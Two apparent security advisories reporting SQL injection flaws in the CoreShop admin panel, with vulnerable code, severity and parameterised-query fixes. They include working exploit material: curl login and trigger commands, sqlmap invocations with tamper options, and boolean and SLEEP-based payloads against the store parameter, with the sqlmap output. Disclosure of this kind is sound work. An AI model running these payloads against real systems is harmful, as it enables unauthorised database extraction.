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SQL Injection in CustomerTransformerController
Summary An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel. The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.
This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.
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Details The vulnerability exists in the company name duplication check endpoint:
/admin/coreshop/customer-company-modifier/duplication-name-check?value=
Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.
Vulnerable file: /app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php
Vulnerable code pattern: php sprintf('name LIKE "%%%s%%"', (string) $value)
The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter. Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.
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Exploitation Steps:
Prerequisites - Admin panel access at https://demo4.coreshop.org/admin - Default credentials: admin / coreshop
Authenticate to admin panel bash # Get CSRF token curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken
# Initialize session curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null
# Get CSRF token with session CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]"' | cut -d'"' -f4)
# Login curl -s -i -b /tmp/session.txt -c /tmp/session.txt \ -X POST 'https://demo4.coreshop.org/admin/login/login' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d "username=admin&password=coreshop&csrfToken=$CSRF"
Trigger SQL error to confirm injection bash curl -s -b /tmp/session.txt \ 'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'
Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"
Normal response (non-error): json {"success":true,"message":null,"list":[]}
Proof of Impact:
Test 1 - Normal query: bash GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test Response: {"success":true,"message":null,"list":[]}
Test 2 - SQL injection (error-inducing): bash GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=" Response: HTTP 500 Internal Server Error <!DOCTYPE html> <html lang="en"> <head> <title>500 | CORS - Pimcore Digital Agency</title> ... </head> The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.
Sqlmap Result: bash python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db <img width="1921" height="747" alt="sqlmappoc" src="https://github.com/user-attachments/assets/4069bbd4-d1a1-4ad1-9983-24402a20f985" />
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Impact - Vulnerability type: SQL Injection (Error-based) - Affected users: CoreShop / Pimcore admin users - Potential impact: - Database error disclosure - Database schema enumeration - Possible data extraction via error-based or blind SQL injection
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Recommended Fix
1. Use Parameterized Queries (Required) Avoid building SQL conditions using string concatenation or sprintf. Use Doctrine QueryBuilder parameters instead.
❌ Vulnerable example: php $condition = sprintf('name LIKE "%%%s%%"', (string) $value);
✅ Secure example (Doctrine QueryBuilder): php $qb->andWhere('c.name LIKE :name') ->setParameter('name', '%' . $value . '%');
This ensures proper escaping and prevents SQL injection.
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2. Validate User Input (Defense-in-Depth) Apply strict input validation before processing user data:
php if (!isstring($value) || mbstrlen($value) > 255) { throw new BadRequestHttpException('Invalid input'); }
Optionally, restrict allowed characters if business logic permits.
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3. Handle Errors Gracefully Avoid returning raw 500 error pages to users. Catch database exceptions and return a controlled JSON error response instead:
php return new JsonResponse([ 'success' => false, 'message' => 'Invalid request' ], 400);
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4. Security Best Practice - Never interpolate user input directly into SQL strings - Always use prepared statements or ORM parameter binding - Ensure consistent input validation on all admin endpoints
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Affected Version(s)
- CoreShop 4.1.2 Demo (tested) Demo | CoreShop - Earlier versions may also be affected if the same code path exists
Summary
A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.
Details
The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.
An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.
Impact
Vulnerability Type: Blind SQL Injection
Impact: Confidentiality only
An attacker can:
- Enumerate database schema - Extract all data accessible to the application’s database user
CVSS v3.1 (Base Score: 4.9 – Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Steps to Reproduce:
<img width="1010" height="372" alt="1" src="https://github.com/user-attachments/assets/312422c8-f3ea-4332-8c14-59aed737da6a" />
1. Send a Normal Request: - Request the report endpoint with a valid store value (e.g. store=1) and observe that data is returned. <img width="1259" height="725" alt="2" src="https://github.com/user-attachments/assets/56f91c23-bae5-4edf-9c17-c776c323b3a8" />
2. Inject a Boolean TRUE Condition: - Modify the parameter to store=1 AND 1=1. - The response returns the same data as the normal request. <img width="1269" height="725" alt="3" src="https://github.com/user-attachments/assets/c998065a-dc59-4fe5-8be9-d5ea82736ade" />
3. Inject a Boolean FALSE Condition: - Modify the parameter to store=1 AND 2=1. - The response returns an empty dataset. <img width="1259" height="536" alt="4" src="https://github.com/user-attachments/assets/3be68566-f1f3-4a61-81d7-4f8b0b318bf7" />
4. Confirm Injection Behavior: - The difference between TRUE and FALSE conditions confirms that the store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection. 5. Automated Confirmation Using sqlmap: - The vulnerable request was tested using sqlmap with the store parameter. - sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable. - The tool was able to fingerprint the backend environment, including: - Database Management System (DBMS) - Database hostname - PHP version - Available database names - This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.
<img width="1115" height="628" alt="5" src="https://github.com/user-attachments/assets/5370f6d1-9915-4bea-ae83-b7a977b8eeff" />
php C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store --- Parameter: store (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: report=products&dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: report=products&dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50 --- web application technology: PHP 8.3.16 back-end DBMS: MySQL >= 5.0.12 hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w' available databases [3]: [] app [] informationschema [] performanceschema
Solution
To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The store parameter is expected to represent a numeric store identifier and should therefore be handled safely.
Two possible remediation approaches are recommended:
1. Strict Type Enforcement (Minimal Fix) If the store parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. (int) $storeId). This prevents injection by ensuring that only numeric values are used in the query. 2. Prepared Statements (Best Practice) Alternatively, and preferably, the store parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.
Applying either approach would prevent attackers from injecting SQL logic through the store parameter.
Parameter
1. /admin/coreshop/report/get-data?report=products&dc=1767720897882&from=1767200400&to=1798650000&store=1&objectType=all&orderState=%5B%5D&page=1&start=0&limit=50
Line of Code
CoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php
Line 64 :
php $storeId =$parameterBag->get('store',null);
The store parameter is retrieved directly from the HTTP request via ParameterBag. This value originates from user-controlled input and is not validated or type-cast at this point.
Line 77 :
php if (null ===$storeId) { return []; }
This check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).
Line 81 :
php $store =$this->storeRepository->find($storeId);
The user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.
Line 107 :
php WHERE orders.store =$storeId AND orders.orderState ='$orderCompleteState' AND orders.orderDate > ? AND orders.orderDate < ? AND saleState='" . OrderSaleStates::STATEORDER . "'
At this point, the $storeId value is directly concatenated into the SQL query string. Unlike other parameters in the query (orderDate), this value is not bound as a prepared statement parameter.
Example Fixed Code
Option 1: Strict Type Enforcement (Minimal Fix)
If the store parameter is intended to be numeric only, enforce integer casting before using it in the query.
php $storeId = (int)$parameterBag->get('store',0);
if ($storeId <=0) { return []; }
$sqlQuery = " SELECT DATE(FROMUNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total FROM objectquery$classId AS orders WHERE orders.store =$storeId AND orders.orderState = '$orderCompleteState' AND orders.orderDate > ? AND orders.orderDate < ? AND saleState = '" .OrderSaleStates::STATEORDER . "' GROUP BY " .$groupSelector;
This ensures that only numeric values are used and prevents SQL logic injection.
Option 2: Prepared Statements (Recommended Fix)
Use parameter binding for all user-influenced values, including store.
php $sqlQuery = " SELECT DATE(FROMUNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total FROM objectquery$classId AS orders WHERE orders.store = ? AND orders.orderState = ? AND orders.orderDate > ? AND orders.orderDate < ? AND saleState = ? GROUP BY " .$groupSelector;
$results =$this->db->fetchAllAssociative( $sqlQuery, [ (int)$storeId, $orderCompleteState, $from->getTimestamp(), $to->getTimestamp(), OrderSaleStates::STATEORDER, ] );
This approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.